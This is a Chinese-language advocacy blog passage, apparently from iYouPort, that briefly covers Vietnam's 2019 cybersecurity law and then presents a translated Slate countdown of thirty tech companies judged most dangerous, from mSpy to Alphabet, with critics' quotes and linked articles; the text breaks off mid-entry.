2019年1月，越南新法律生效，⚠ 该法律要求互联网服务提供商披露用户数据，以便政府可以追踪特定帖子的来源。

洛杉矶时报报道，这个所谓的《网络安全法》还要求 Facebook 之类的平台应政府的要求删除内容。根据越南法律，散布虚假信息已经构成一种犯罪，可能使发布者入狱。

路透社报道，即使是在科技平台的抗议下，监管机构仍于6月批准了新法律。〇

注：以上是全球 “反谣言” 地图。如果您读到了这里，您肯定已经得出结论，究竟哪一种 “反谣言” 才能真正行之有效？是的，IYP 一直致力于帮助公民和民间组织掌握媒体素养的判断技巧和信息验证的开源技术，正是因为，任何一种当权者主导的 “辟谣” 都是不足信的 —— 包括当权者组织的所谓媒体素养培训。不论是政府还是间谍部门。

- 辟谣为什么无效《纠错有很高的技术含量 稍有不慎便适得其反，该怎么做？》
- 《当人们不再信任 - - 埋藏在情绪数据中的媒体和被损伤的社会知觉》

A guide to anti-misinformation actions around the world

原文

邪恶列表 — 您了解这些邪恶公司吗？ - iyouport

公私监控伙伴关系协助暴政的家伙们监视资本主义的世界长读

【2020年9月8日存档】哪些科技公司的危害最大？这里是前30位最危险的家伙，由知情人士排名

如今科技行业并没有像几年前那样使人们着迷了。跟上它的问题及其修补程序以及引起新问题的修补程序，这令人头晕。很难从噪声中分离出有意义的威胁。这种状况非常不利于反抗 —— 校准失败。

于是，我们需要一个清晰的列表。

Slate 联系了许多多年来一直对技术进行批判性思考的记者、学者、拥护者和其他人，要求他们指出他们认为最值得警惕的技术公司，然后让他们解释为什么这些公司值得警惕。

每个受访者分别对10家公司进行了排名（子公司被视为母公司的一部分），然后将他们的答案加在一起，得到了这一列表。

发现了什么？

尽管美国主要的科技公司名列榜首，但受访者也深为关注涉足监控和AI的外国公司，如中国、以及为监视资本主义的数据经纪业务提供动力的国内推手。

没有人认为 Twitter 是最烂的，但是，很多人对此有点担心 —— 有潜在危害的公司可能会和具有长期存危害的公司一样地令人痛苦。

关心隐私的人很关心虚假信息问题，关心虚假信息的人却不怎么关心隐私问题 ……

本列表的目的是寻求共识并引起辩论，以便探讨最有效的反抗措施。下面是逆序排名。

30、mSpy

「图」

Year founded: 2010

Founder: Andrei Shimanovich

这是一家针对手机的间谍软件公司，允许用户监视他人的消息、位置、社交媒体、浏览历史记录、通话和其他数字活动。该产品面向父母销售，本质上是终极网络跟踪工具。

邪恶案例：

Google 已淘汰 *Play*商店中的*7*个跟踪器应用；尽管许多此类应用试图声称它们正在帮助父母追踪孩子或帮助雇主监控员工，但 *MSpy* 的研究表明，有*50*%的客户正用这种工具监视伴侣：*https* :t.co/xuUazn9yQE —— Andrew Rosenblum（@rosenblumandrew）2019年7月22日 受访者说：“我对网络跟踪应用程序的增长很担忧；这些东西为父母和雇主提供合法帮助、同时对家庭虐待者来说也是合法帮助。” —— 波士顿大学法学院的 Danielle 解释和防御方法见下文：* 《如果你的手机被安装了间谍软件怎么办》 * 《浏览历史记录曝光你的内心全景图：开源调查演示》 * 《你的手机如何背叛了民主？》 * 《你的手机就是秘密监视设备—*Snowden*访谈视频》 *!!!* ***29***、***Cellebrite*** 「图」 *Year founded: 1999 Co-CEOs: Yossi Carmil and Ron Serber** 这是一家位于以色列的数字取证公司，该公司代表其客户闯入任何他们想要的个人设备（解锁手机的成本仅需***1500***美元），这些客户通常是执法机构或其他政府机构。 ☞关于数字取证，推荐下面的分析：* 《数字取证正在泛滥：政府可以从你的手机中提取哪些数据？》 * 《让政府机构从您使用的应用程序中提取大量数据的秘密技术：云取证》 * 《警察查手机的东西长什么样？——从技术角度看移动设备取证》 * 《清空废纸篓无法真正”删除”文件，如何彻底删除以抵制任何取证工具？》 邪恶案例： *2017*年，缅甸当局逮捕了报道罗兴亚穆斯林种族灭绝事件的两名路透社记者。一名显然接受了 *Cellebrite* 培训的警察使用了该公司的技术来渗透记者的手机。 政府随后将该警官发现的文件用作对记者的审判证据，这些记者被判处七年徒刑。（*Cellebrite* 拒绝对此事件发表评论，并于*2018*年离开缅甸市场。路透社记者最终于*2019*年获释。） *!!!****28***、***Baidu*** 「图」 *Year founded: 2000 Co-founder and CEO: Robin Li* 这家中国跨国公司是全球第二大搜索引擎和智能音箱供应商。 邪恶案例： 百度控制着中国三分之二在线搜索市场，该公司似乎一直在积极压制有关

*2019*年民主抗议活动的信息。 受访者说：“过去*20*年来，我们意识到的关于技术的最重要一件事就是，它毫无争议地不是中立的：平台和产品具有文化规范和架构师及决策者所固有的偏见。百度与中国政府合作，对用户进行审查和监视。在我们迈入下一个十年的过程中，百度无疑将成为中国用来继续控制其本国公民并扩大其影响力到全球的工具之一。” —— 圣约翰大学法学院 *Kate Klonick !!!**27**、**The Grid***「图」 *Customers throughout the United States: 145 million* 这个由政府公用事业和私人公司组成的松散连接的网络，将电力分配给全国各地的家庭和企业。 *The Grid* 是现代社会的一个至关重要的、但仍然非常脆弱的试金石。 国安官员越来越担心所谓的外国势力的前景，尤其是俄罗斯，怀疑其将通过网络攻击破坏美国电网。 事实证明，美国某些最大的电力公司可能还没有做好应对攻击的准备。 一家非营利性监督组织北美电力可靠性委员会（*North American Electric Reliability Corp.*）近年来已多次因基础设施保护不足而对美国一些最大的电力公司（如 *PG*＆*E*，*DTE Energy* 和 *Duke Energy*）处以罚款。 杜克能源公司（*Duke Energy*）位于北卡罗来纳州，在七个州运营，该公司在二月份被处以*1000*万美元的罚款，这是*NERC*历史上最大的罚款。 据报道，*NERC* 发现该公司有*127*项违反安全规则的行为，包括系统配置错误，该错误可能导致杜克大学在六个月内未意识到某些类型的黑客行为。 据称，杜克还允许未经适当许可的员工和承包商访问重要数字记录，已有四年多，并且没有对某些敏感的计算机系统使用多因素身份验证。 推荐一个很好的报告： * 《美国、中国和俄罗斯：暗网最强大的民族国家骇客》 * 以及一个很好的分析《核武器和网络攻击究竟哪个更可怕？》 受访者表示：“除了在人口稠密地区或其附近引爆核武器外，很难想象还有哪种破坏性事件比破坏电力供应流更具灾难性影响。但是我们还没有足够的专注力和专业知识来降低网格的复杂性并确保其安全性和可靠性。尚不清楚这些公司中是否有哪些公司具有专门的知识和能力来区分源于网络攻击的事件与其他原因引起的事件（或两者结合）之间的区别。” —— *Brian Krebs, Krebsonsecurity.com. !!!**26**、**Vigilant Solutions***「图」 *Year founded: 2005 Founder and president: Shawn Smith* 这是一家人工智能和数据分析公司，他们向警察局出售监视工具，可以帮助警察规避《第四修正案》。 邪恶案例： 该公司每个月使用自动读取器扫描商场、停车场和居民区中用监视相机捕获的*1.5*亿至*2*亿张车牌照片。 *3*月份，美国公民自由联盟（*ACLU*）起诉移民和海关执法部门，因后者使用由 *Vigilant Solutions* 的车牌数据库来追踪移民的汽车。 关于车牌监视： * 《上帝之眼：一个没有秘密的世界意味着什么？》 * 《如何愚弄自动车牌阅读器？》 * 《*15*个免费的卫星图像数据源：甚至可以看到车牌……》 受访者表示：“*Vigilant* 已经积累了数十亿个位置信息的数据点。他们与全国各地的警察部门签约，以便在本已非常广泛的执法权

跟踪网络中再增加另一层监视。能够从卫星上追踪人们一举一动的能力直接限制了我们的行为和结社自由。”—— 马科姆社区学院 *Chris Gilliard* !!!**25**、***Megvii*** 「图」 *Year founded: 2011 Co-founder and CEO: Qi Yin* 这是一家价值40亿美元的深度学习人工智能公司，专注于面部识别，很快将在香港股市上亮相，特朗普政府在10月将其列入了黑名单，原因是涉嫌参与镇压新疆维吾尔人。 ***Megvii*** 的技术已作为身份信息验证功能广泛集成到了乘车共享应用程序、支付系统、零售商店、照片修饰工具、办公室安全基础设施、和公共交通中。 为了所谓的 “方便”，*Face* ++在该国无处不在，使人们更难以摆脱这种专制技术。 关于 *Megvii*，选取几篇文章帮助您了解它： * 《冠状病毒使中国的监视状态脱颖而出》 * 《中国面部识别巨人崛起的背后》 * 《“人工智能”的中国军事》 * 《乔治拜登的儿子投资中国’老大哥’监视技术》 * 《老大哥正在中国大发横财：估值最高的监视技术公司都在中国。但问题的根源是什么？》 邪恶案例： 中国政府已经使用 *Face* ++ 追踪他们想要的任何人，将其作为 *SkyNet*“天网” 监视系统的一部分，该监视系统使用了1亿7千万个摄像头，并且曾经能够在7分钟内找到BBC记者。 受访者表示：“这些技术是亚马逊尚未完全实现的概念验证，其推广已经使世界各地更接近通用的面部识别监控。”—— 乔治敦大学法律中心 *Julie Cohen* !!!**24**、***Airbnb*** 「图」 *Year founded: 2008 Co-founder and CEO: Brian Chesky* 这是一个著名的住宿租借平台，使周末假期的计划变得更便宜、更容易，但同时也减少了长期的住房选择，并导致世界各地的房屋租金上涨。 邪恶案例： 2018年，新奥尔良住房权组织 *Jane Place* 社区可持续发展倡议小组发布了一份研究报告，指出 *Airbnb* 加剧了该市长期住房短缺的问题，并导致低收入社区的居民流离失所。 该报告发现，一些投资者正在购买新奥尔良的房地产，驱逐他们的租户，并将其转变为短期租赁空间，为 *Airbnbs*。 在拜沃特市（*Bywater*），这是新奥尔良短期出租物业最集中的社区之一，从2009年到2015年，租用三居室房屋的中位数价格上涨了72%。 关于*Airbnb*，还不止这些： * 《如何从民宿网站挖掘大量重要情报？以及使用这些网站的人应该注意什么》 * 《如何找到旅店房间里隐藏的摄像头？》 !!!**23**、***Anduril Industries*** 「图」 *Year founded: 2017 Co-founder: Palmer Luckey Co-founder and CEO: Brian Schimpf* 在将他的虚拟现实创业公司 *Oculus* 出售给 *Facebook* 之后，又在朦胧的环境中离开了这家社交巨头（据说是由于向一个厌女症种族主义的特朗普集团捐款）。 当时24岁的 *Palmer Luckey* 创立了这个*A.I* 国防科技公司 *Anduril*，以《指环王》中的一把神秘剑命名，并吸纳了前 *Palantir* 高管（请参阅本邪恶列表第4号）。 *Anduril* 通过帮助特朗普政府利用具有*AI*功能的传感器和摄像头创建一个带有太阳能监控塔的虚拟边界墙而获得了数百万美元的收入，移民权利组织 *Mijente* 称这是 “算法专制实施的种族主义和仇外

政策”。 !!!**22**、***IBM*** 「图」 *Year founded: 1911 President and CEO: Ginni Rometty* 这是一家跨国*IT*基础设施公司，负责*ATM*、硬盘驱动器和 *Watson A.I.*计算机 —— 是的，这家臭名昭著的公司也曾经为纳粹第三帝国提供了打孔卡技术，该技术被用来组织和推动针对犹太人的大屠杀。 邪恶案例： 洛杉矶市在一项正在进行的*2019*年诉讼中称，*IBM*的子公司 *Weather Co.*没有明确通知用户它正在使用 *Weather Channel* 应用程序收集用户私人位置数据。 该应用鼓励它的每月*4500*万活跃用户授予其访问位置的权限，以获取更多所谓的个性化本地天气数据，然后允许 *IBM* 的 *Watson Advertising* 产品通过坐标来获利。 *IBM*表示将捍卫其数据收集实践。 关于***IBM***，以下文章将帮助您对其有一个概括了解： * 《血族：美国人、*IBM* 和出口的数字警察国家》 * 《*IBM*和谷歌如何通过中国协助独裁政权的间谍行为？》 * 《被俘虏的城市：为什么人们会接受可怕的军统？》 * 《西方政府如何助长了数十年来最严重的人权危机》 * 《西方如何养肥了华为又”成就了”种族灭绝监视综合体？》 !!!**21**、***Cloudflare*** 「图」 *Year founded: 2009 Co-founder and CEO: Matthew Prince* 这是一家互联网基础设施公司，协助网站进行内容交付和网络安全。 *Cloudflare* 的阻止自动 *DDoS* 攻击的服务对于任何网站的生存能力来说都至关重要。纽约时报将首席执行官 *Matthew Prince* 形容为 “控制着整个*Web*最基本基础架构的几位互联网高管之一”。 邪恶案例： 去年*12*月下旬，《纽约时报》报道说，三个网站的运营商一直在使用 *Cloudflare* 的网络攻击防护服务来隐藏其互联网地址，从而避免被发现。这些网站包含超过*18000*张儿童色情图片。 尽管 *Cloudflare* 声称过去曾与这些网站和其他此类网站建立联系，但致力于打击儿童性虐待的加拿大非营利组织指责该公司即使在收到通知后仍未及时采取行动（该公司当时表示已紧密合作）与公益组织和执法机构一起删除了几个网站）。 除了*8chan*这样的几个显著例外，*Cloudflare* 通常拒绝接受对其所保护网站的责任，其中包括仇恨和暴力内容的论坛。 !!!**20**、***8kun (formerly 8chan)*** 「图」 *Year founded: 2013 Owner: Jim Watkins* 他们建立了一个糟糕透顶的留言板，专门为那些认为自己无法在较弱的*4chan*上发言的用户。 *8chan* 在*8*月被其服务提供商（包括 *Cloudflare*）封锁，此前在德克萨斯州埃尔帕索（*El Paso*）发生了*22*人死亡的屠杀事件，枪手曾三次向*8chan*发布了种族主义宣言，然后开始谋杀。 Got a nice postcard from 8chan owner Jim Watkins. Here’s our story about him: https://t.co/qswRl3xGkT pic.twitter.com/wBwmlGmWTx — Drew Harwell (@drewharwell) September 19, 2019 受访者说：“这是一个客观的教训，说明仇恨女性的网站不可避免地会煽动其他形式的暴力偏见。” —— 迈阿密大学法学院 *Mary Anne Franks* !!!**19**、***Oracle*** 「图」 *Year founded: 1977 CEO: Safra Catz* 这是一家云计算和数据库管理公司，已占领全球企业云软件市场的*3.9%*。 邪恶案

例： 甲骨文在2010年收购了Java编程语言，并开始起诉 Google 侵犯其版权。谷歌以前已经重写了Java API，这是允许不同程序相互通信的代码行，以便程序员可以构建与 Android 操作系统兼容的Java应用。 如果最高法院同意甲骨文拥有 Java API 的所有权的说法，那么该先例可能使人们更加难以开发可在不同平台上运行的创新软件。 受访者说：“甲骨文对版权 API 的使命是最糟糕的技术问题的一个可怕例子：甲骨文的理论是疯狂的，并且受到了庞大、昂贵、阴暗的营销运动的支持……” —— EFF Cory Doctorow !!!**18、23andMe**「图」 Year founded: 2006 CEO: Anne Wojcicki 23andMe 是全球最大的消费者基因检测公司之一，数百万人通过它挖掘自己的家谱。 该服务还创建了DNA数据库，可以在此过程中识别 —— 并帮助执法人员识别 —— 大量人口。 类似的数据库导致对可疑连环杀手的捕获。尽管 23andMe 一直拒绝执法部门的监视，但是，法院最终可能会强迫该公司提供给警方对其客户数据的访问权限。 鉴于 23andMe 的覆盖范围如此之广，即使未注册该服务的人在这种情况下也将丧失自己的遗传基因隐私权。 关于DNA收集： * 《美国公司如何帮助中国借助 DNA 数据追踪公民》 * 《失控的DNA收集实践》 * 《当政府想要你的 DNA》 * 《他们将中国视为榜样：泄露文件揭示政府间谍机构如何利用冠状病毒推动大规模监视的内幕》 邪恶案例： 在10月的“时代100健康峰会”上，Wojcicki 回应了对DNA隐私的担忧，“事实是，有了新技术，人们需要时间来适应它。” 该声明之所以成为头条新闻，是因为它明确表达了隐私倡导者一直在警告的关于遗传家谱逐渐被社会接受的加深级危机。 * 他们欺骗你 “技术无法避免”，这是《科技人员说出的最大谎言》 受访者说：“家庭成员之间乐于互相赠予这些基因测试并比较其结果。同时，该公司正在迅速建立一个庞大的遗传数据库，并在某些情况下与诸如 GlaxoSmithKline 之类的合作伙伴共享该数据；在未来的几年中，我们无法得知如何使用个人的遗传数据，或者更糟的是，如果该数据库遭到破坏，将会发生什么。” —— Jane Hu !!!**17、SpaceX**「图」 Year founded: 2002 CEO: Elon Musk COO and President: Gwynne Shotwell 另一家 Elon Musk 公司（但不是那一家）是开创性的 SpaceX，是第一家向国际空间站运送航天器的私人公司，也是第一家创始人借用其工程师进行无意义的营救行动的私人公司，使用定制的潜水艇营救被困在山洞中的泰国男足。 由于某种原因，SpaceX 在2018年将一辆 Tesla Roadster 跑车送入了太空，而与此同时，该公司在制造宇宙飞船以运送真正的美国宇航员方面却落伍了。 换句话说，SpaceX 不能避免其所有者的异想天开，后者想要最终殖民火星。 邪恶案例： SpaceX 已发射了180颗 Starlink 卫星，旨在所谓的卫星互联网计划。很酷吗？不幸的是，天文学家说，由于卫星没有被涂成黑色，所以这些卫星正在干扰他们的工作。 这并非完全是邪恶的，但是 “为了获得对遥远宇宙物体的详细观察，天文学家通

常使用地基望远镜拍摄夜空的长时间曝光图像。每当一颗明亮的卫星穿过望远镜的视野时，它就会在照片中产生白色条纹，从而使结果模糊不清。” *SpaceX* 正在尝试纠正该问题，但不知道其新的深色涂层能否经受太空旅行。 *!!!**16**、**Verizon*** 「图」 *Year founded: 1983 CEO: Hans Vestberg* 这家电信巨头将其座右铭改成了 *“Can you hear me now?”*成为了一种文化现象，并且还发起了一系列破坏性和愤世嫉俗的运动，反对网络中立、抵制反托拉斯条款和消费者保护。 邪恶案例： 受访者说：*“*最大的电信*”* 公司正在作弊，*Verizon*、*AT＆T*、*Sprint* 和 *T-Mobile* 对于客户的隐私人权不屑一顾，他们反对网络中立、反竞争，通过不停地游说使这些公司成为生态系统中的一部分。硅谷公司应该接受所有严格的审查……*”* —— 乔治敦大学法学中心 *Lindsey Barrett !!!**15**、**Disney*** 「图」 *Year founded: 1923 CEO: Robert Iger* 著名娱乐集团（现在是流媒体视频挑战者）由于在过去*30*年吞并了*ABC*，*ESPN*，*Pixar*，*Lucasfilm*，*Marvel Entertainment*，*20*世纪福克斯等，引起了反托拉斯活动家的重点关注。 很受欢迎的二十世纪福克斯目录中的热门电影已经从发行中消失了。正如纽约杂志*10*月份报道的那样，迪士尼公司撤出了*1976*年的《*The Omen*》和*1986*年的《*The Fly*》的翻拍电影。也许不是超级邪恶，但也不是什么好东西。 受访者说：*“*我列出的名单上的一个亮点可能就是迪斯尼 —— 尽管它显然与许多其他版权霸权主义科技寡头没什么区别。对此有两个答案：首先，随着社交媒体和流媒体视频的普及，迪斯尼与所有其他媒体公司一样，正被迫成为一家科技公司。其次，迪斯尼与其他版权霸主对技术发展的轨迹产生了很大的影响：他们几乎杀死了*VCR*，可以说确实杀死了对等技术，并且为了保护自己的利益，将技术开发中的许多复杂性纳入了法律。*”* —— *R Street Institute Charles Duan !!!**14**、**Tesla*** 「图」 *Year founded: 2003 CEO: Elon Musk* 特斯拉确实令人担忧，因为它在员工安全方面的记录令人不快，并且有可疑的说法是。它将很快向已经为承诺的附加件支付*7,000*美元的客户提供 *“*全自动驾驶*”* 服务。 特斯拉因使用 *“*自动驾驶*”*一 词来描述其车辆的非自动驾驶辅助功能而受到批评，因为驾驶员可能因此对一种并非旨在为他们完成工作的功能过分相信了，其结果有时会致命。 受访者说：*“*特斯拉采用自动驾驶技术的方法不仅更广泛地危害其客户和公众，而且还威胁着该技术本身以及负责任地追求该技术的公司挽救生命的潜力。*”* —— *Autonocast* 的主持人 *Edward NiedermeyerEdward Niedermeyer !!!**13**、**Tencent*** 「图」 *Year founded: 1998 CEO and co-founder: Ma Huateng* 腾讯是电信、社交媒体和消费电子巨头，也是全球最大的视频游戏发行商。 腾讯运营着微信，这是中国最受欢迎的通信应用，该应用每月拥有超过*11.5*亿活跃用户，并被指控采取审查制度。 关于微信： * 《微信对国际用户的监控增强了中国的审查制度》 * 《微信如何征服西藏？》 * 《微信 *Is Watching You*》 * 《在

中国：TA为什么不使用微信？》 * 《什么是高峰冷漠？从白宫到微信》 邪恶案例： 受访者表示：“腾讯令人担忧，因为它拥有威权政权的技术野心所蕴藏的巨大资本。我认为这本质上很危险。而且，这也是许多美国硅谷资本家的内心愿景，只要他们有幸生活在一个在没有自由出版的社会里” —— the Intercept 记者 Sam Biddle !!!**12**、**LiveRamp (formerly Acxiom)** 「图」 Year founded: 1969 CEO: Scott Howe LiveRamp 是最强大的消费者数据经纪人之一，它从数亿人口中收集诸如房屋价值、信用卡交易和健康历史记录之类的敏感个人信息，以维持其价值1000亿美元的在线广告行业。 您在亚马逊上浏览便鞋之后，甚至会在您正在阅读的所有页面上仍能看到鞋子广告，这是为什么？就是因为这些家伙。他们一直跟踪你，每时每刻。 * 在这里看到真实的全景图，关于监视意味着什么《“如果你不偏执，那就是疯了”》 邪恶案例： 2018年，名不见经传的政治咨询公司 Cambridge Analytica（剑桥分析公司）辩称，该数据是“无用的”，而他们实际上已经在2009年建立了针对选民的行为操纵，狡辩是为了免于被指控它不当地收集 Facebook 用户数据以帮助 Donald Trump 2016年的竞选活动。与 Acxiom 这样的公司相比，这几乎是小事一桩。 * 关于剑桥分析公司对你做了什么，见《心理操纵的秘密：”行为经济学”+PR＝？》 受访者说：些公司是广泛的“监视资本主义”基础设施的一部分，这些基础完善了我们作为消费者的生存能力。 我们自己都没有权利访问这些被收集的数据，也没有适当的程序来纠正或废除这些数据，但这决定了我们在无处不在的监视世界中的经历。” —— Real Life 杂志的 Rob Horning !!!**11**、**Huawei** 「图」 Year founded: 1987 Founder and CEO: Ren Zhengfei 华为是全球最大的电信设备提供商和第二大智能手机制造商。 美国的国安专家警告说，中国政府可能会轻易向华为施加压力，迫使华为操纵其供应链来监视美国。 该公司还帮助包括中国在内的 **多个政府** 镇压政治异议人士。 关于华为： * 《华为之战的虚伪：技术的巴尔干化》 * 《中国症候群：当3Com遇到华为》 * 《华为使用以色列间谍软件监视北京支持的非洲领导人的政治对手》 * 《华为如何把德国城市变成圆形监狱》 * 《西方如何养肥了华为又”成就了”种族灭绝监视综合体？》 邪恶案例； 去年8月，华尔街日报发现，华为与至少两个非洲国家的政府合作，帮助后者监视其政治对手。 据报道，华为技术人员帮助赞比亚官员入侵了批评其总统 Edgar Lungu 的博客作者的手机和 Facebook 页面。 技术人员甚至跟踪了博客作者的位置，导致他们在2019年初被捕。 可惜没有任何证据表明华为中国总部的高管知道这些项目。华为否认了《华尔街日报》的报道。 !!!**10**、**Exxon Mobil** 「图」 Year merged: 1999 Chairman and CEO: Darren Woods 全球最大的炼油厂，斥资数百万美元对气候科学提出了质疑 —— 哦，它实际上已成为一家技术公司。 在1970年代和1980年代，埃克森美孚就已经聘请科学

家在气候变化成为主流问题之前就进行了内部研究。在发现碳排放量正在影响全球温度后，该公司并没有改变路线，而是，致力于传播有关气候科学的虚假信息，并游说阻止美国加入*1998*年《京都议定书》等国际环境条约。 受访者表示：“造成温室气体排放的原因不仅极大地加剧了气候变暖，而且长期以来，它一直在有组织地和制度化的努力中进行宣传，以消除对问题根源的否认。” —— *OneZero* 的 *Brian Merchant* 在此处阅读 *Siva Vaidhyanathan* 对埃克森美孚公司的起诉。 *!!!9*、***ByteDance*** 「图」 *Year founded: 2012 Founder and CEO: Zhang Yiming* 这是一家北京的社交媒体创业公司。在中国，字节跳动（*ByteDance*）运营着一个由人工智能策划的新闻阅读应用程序，该应用程序导致了可预测的审查问题。 而且该公司由于其应用 *TikTok* 而受到了美国的审查，该应用是美国青少年最喜欢的的应用程序之一。 大多数主要的社交媒体平台都避开了深度造假，因为该技术可以被滥用来制造报复性色情和政治虚假信息。但 *ByteDance* 并没有这样做：在一月初，一家市场研究创业公司在 *TikTok* 和姊妹应用程序抖音中发现了尚未发布的代码，这些代码将使用户能够轻松制作自己的深度造假产品。 * 《抖音如何打开了进入中国警察国家的窗口》 * 《挖掘抖音中的线索：开源情报调查思路》 * 《你能从*TikTok*（抖音）中挖掘到哪些情报线索？》 受访者说：“撇开地缘政治的疑虑，*TikTok* 是世界上最接近“无限玩笑”的“娱乐”平台，这种沉浸式体验令人上瘾，以至于用户忘记了做任何正经事。只需感谢您的手机具有有限的电池寿命即可。” —— *Axios and Slate Money* 的 *Felix Salmon !!!8*、***Twitter*** 「图」 *Year founded: 2006 CEO: Jack Dorsey* 推特平台存在着许多困扰着所有寡头社交媒体平台如 *Facebook* 和 *YouTube* 相同的问题 —— 骚扰、虚假信息、虚假帐户 …… 但由于其在新闻界的普及，其功能可能被夸大了。 对于那些宣传爱好者来说（例如机器人广告系列和 *@realDonaldTrump*），它也是一个特别有吸引力的场所。 邪恶案例： 去年多尔西（*Dorsey*）提出了一个高调的想法，即分散化社交网络，这激发了更早期更纯净的互联网理想。但是，一些批评家指出，该建议仅仅是 *Twitter* 最终摆脱责任的便捷方式。 在下面看到具体分析： * 《推特可以去中心化吗？》 受访者说：“ *Twitter*被美国总统用来威胁战争罪。但在此之前，它（以及 *Facebook* 和 *YouTube*）一直在通过奖励人们最坏的直觉而加剧了公众话语的恶化：冲动，残酷，不诚实，即时满足，表现欲。” —— *Mary Anne Franks* * 《请记住：你一直在被社交媒体操纵》 * 《隐性操控：社交媒体平台正在使用与赌博公司相同的技术只为让你上瘾》 * 《完美的绑架》 *!!!7*、***Microsoft*** 「图」 *Year founded: 1975 CEO: Satya Nadella* 微软经过*20*年前的反垄断而不倒之后，已经发展成了一家庞大的跨国技术公司，其业务涉及从云计算到视频游戏机的几乎所有领域。仅在*2019*财年，微软就斥资*91*亿美元收购了*20*家公司（包括最

令人恶心的与 *GitHub* 达成的*75*亿美元交易）。 邪恶案例： 去年*4*月，金融时报发现微软在中国的研究部门曾在三个人工智能实验室与中国国防科学技术大学合作，该大学由中国军方控制。 这些研究主题包括面部识别技术，帮助中国政府监视和压迫其公民，特别是新疆维吾尔族。 这不仅仅是假设的问题。*2016*年，该公司创建了一个数据库，其中包含***1000***万幅图像，这些图像是***100000***名作家、活动家、决策者和其他知名人物，未经他们的同意。 * 《西方学术界帮助构建了中国的自动化种族主义》 * 《中国的反乌托邦监视国家是美国制造的》 * 《为什么强调：不要用微软产品！》 中国监视技术寡头 *SenseTime* 和 *Megvii* 开发了该国政府用来监视新疆人口的监控技术，他们已经利用该数据库来训练他们的面部识别系统。面对审查，微软于今年*6*月关闭了该数据库。 * 更多内容详见 列表*-4* *“作恶者：谁在帮中国”* 受访者说：*“*微软总裁 *Brad Smith* 最近将微软视为更友好的大技术巨头；但现实情况是，通过对云服务的投资以及对 *LinkedIn*、*Skype*、*GitHub*、*Minecraft* 和其他数据丰富服务的公司的收购，微软已经沿着 *Google* 的轨迹建立了广泛的监视和控制业务。*”* —— *Creative Good* 的 *Mark Hurst !!!**6**、**Apple*** 「图」 *Year founded: 1976 CEO: Tim Cook* 全球最受欢迎的硬件产品制造商。批评者说，苹果对美国政府缴纳的税款过少，而对中国共产党的尊重太多 —— 比不在中国大陆提供核心服务的 *Facebook* 和 *Google* 还要多。 关于苹果： * 《如何找到您的离线设备？这是否是隐私噩梦》 * 《现在是半夜，你知道你的 *iPhone* 在和谁说话吗？》 * 《即便禁用位置服务苹果依然追踪你》 * 《苹果的*Siri* 正在偷听你的私人谈话》 * 《苹果卖的究竟是什么？这个时代最关键的不是技术，而是心理学》 邪恶案例： 受访者说：*“*苹果公司的拥护者仍然认为自己是被压迫的少数，而且该公司凭借其反对商业监视的公众立场使他们获得了应有的信誉：苹果不会有监视您的广告，但是，他们会帮助中国政府监视其公民以保持其供应链完好无损。*”* —— *Cory Doctorow* Read Doctorow’s full-throated case against the cult of Apple here. *!!!**5**、**Uber*** 「图」 *Year founded: 2009 CEO: Dara Khosrowshahi* 一家 *“*流动性*”* 公司，该公司兜售以下商品：极具影响力的劳动力模型，将非雇员工人视为客户；极具影响力的增长模式，大刀阔斧征服本地市场；极具影响力且有毒的内部技术文化；基于应用程序的出租车叫车服务，非常方便。 （加上送餐、电动自行车和踏板车、直升机等 *“*微动*”* 选择，以及*2019*年第三季度的净亏损*11.6*亿美元。 ） *Uber* 对主要立法威胁进行游说，例如加利福尼亚的经济法 *AB5*，但与金州决策者的较模糊混战突显了 *Uber* 继续保持将任何权力移交给地方官员的意愿，以及这个曾经使用 ***“God View”*** 工具监视记者的公司如何在方便的时候伪装成隐私拥护者。 自*2018*年夏季以来，洛杉矶已收集了该市所有电动滑板车的详细数据，现在，洛杉矶希望对乘车数据进行同样的处理。 隐私权倡导

者对收集所有车手的详细信息提出了一些委婉的担忧，*Uber*对此表达了自己的态度。 两个问题：*Uber* 曾经在隐私问题上被指责，即使那些城市要求的数据不那么精确，因为它似乎不喜欢移交任何可能被视为商业秘密的或可以进行更多监督的信息。 但是，当涉及到无聊的东西时（对于当地街道和经济体而言被认为重要的东西），它和其他寡头公司没有太大不同。 受访者说：“很难想到一家公司对政府权威、或其司机骑手和员工的安全与福利表现出如此多的蔑视。” —— *Lindsey Barrett !!!**4**、**Palantir Technologies*** 「图」 *Year founded: 2003 CEO: Alex Karp* 该公司由彼得·泰尔（*Peter Thiel*）联合创立，这个 *Gawker* 杀手也是推动特朗普的网络营销的主力。 *Palantir* 收集并分析了政府机构、对冲基金和制药巨头的数据，您可能并不感到奇怪，这些数据并不总是有用。 邪恶案例： 在工人争辩说人工智能技术可以让五角大楼更好地实施无人机杀戮之后，谷歌于*2018*年不得不退出了与美国政府的 *Project Maven* 合同。 *Palantir*（其首席执行官一再强调 “我们为与美国政府合作而感到自豪”）高兴地抢到了这份帮凶工作。 关于该公司： * 《新自由主义结束了—欢迎来到新*不*自由主义时代：冠状病毒、中国、寡头、高堡奇人……》 * 《他们将中国视为榜样：泄露文件揭示政府间谍机构如何利用冠状病毒推动大规模监视的内幕》 * 《只要一张照片，陌生人就可以找到您的一切私密信息》 受访者说：“我之所以列出 *Palantir*，主要是因为该公司对特朗普政府威胁性的驱逐出境行为提供了毫无歉意的技术支持。” —— 华盛顿大学法学院 *Ryan Calo !!!**3**、**Alphabet*** 「图」 *Year founded (as Google): 1998 CEO: Sundar Pichai* 这家监视资本主义创始人在*2015*年放弃其著名的口号是有原因的。如果你认为那还没有结束 *Google* 例外的时代，那么此后联合创始人拉里·佩奇（*Larry Page*）和谢尔盖·布林（*Sergey Brin*）的退位就实现了。 帮助五角大楼的无人机杀人、制作帮助中国政府审查的搜索引擎，这些故事如今每个人都不会陌生。 * 更多详见 列表-2 “关于谷歌” *Google* 在信息经济、媒体、广告和手机市场上具有巨大影响力，其 *Android* 操作系统使其在市场上的地位远胜于 *Apple*。 这个监视资本主义巨魔比 ***Facebook*** 更了解我们每个人，并且它正在进入我们赖以生存的越来越多的领域，例如公共卫生和城市规划，这些领域将始终受到激励以体现其主要商业模式 —— 监视和操纵。 * 《国际特赦组织称*Google*和*Facebook*为侵犯人权者》 邪恶案例太多了，数不胜数…… 其首席执行官 *Sundar Pichai* 最近将会议缩减为每月一次，并坚称会议 *只* 专注于 “业务和战略”。 受访者说：“*Alphabet* 之所以必须列入前位，是因为它通过其子公司对公众生活产生了巨大影响，无论它是在线广告的统治、通过 *Link NYC* 等合作伙伴关系开发的技术、还是 *Google Health* 的兴起。除非我们有强有力的隐私保护措施，否则 *Google* 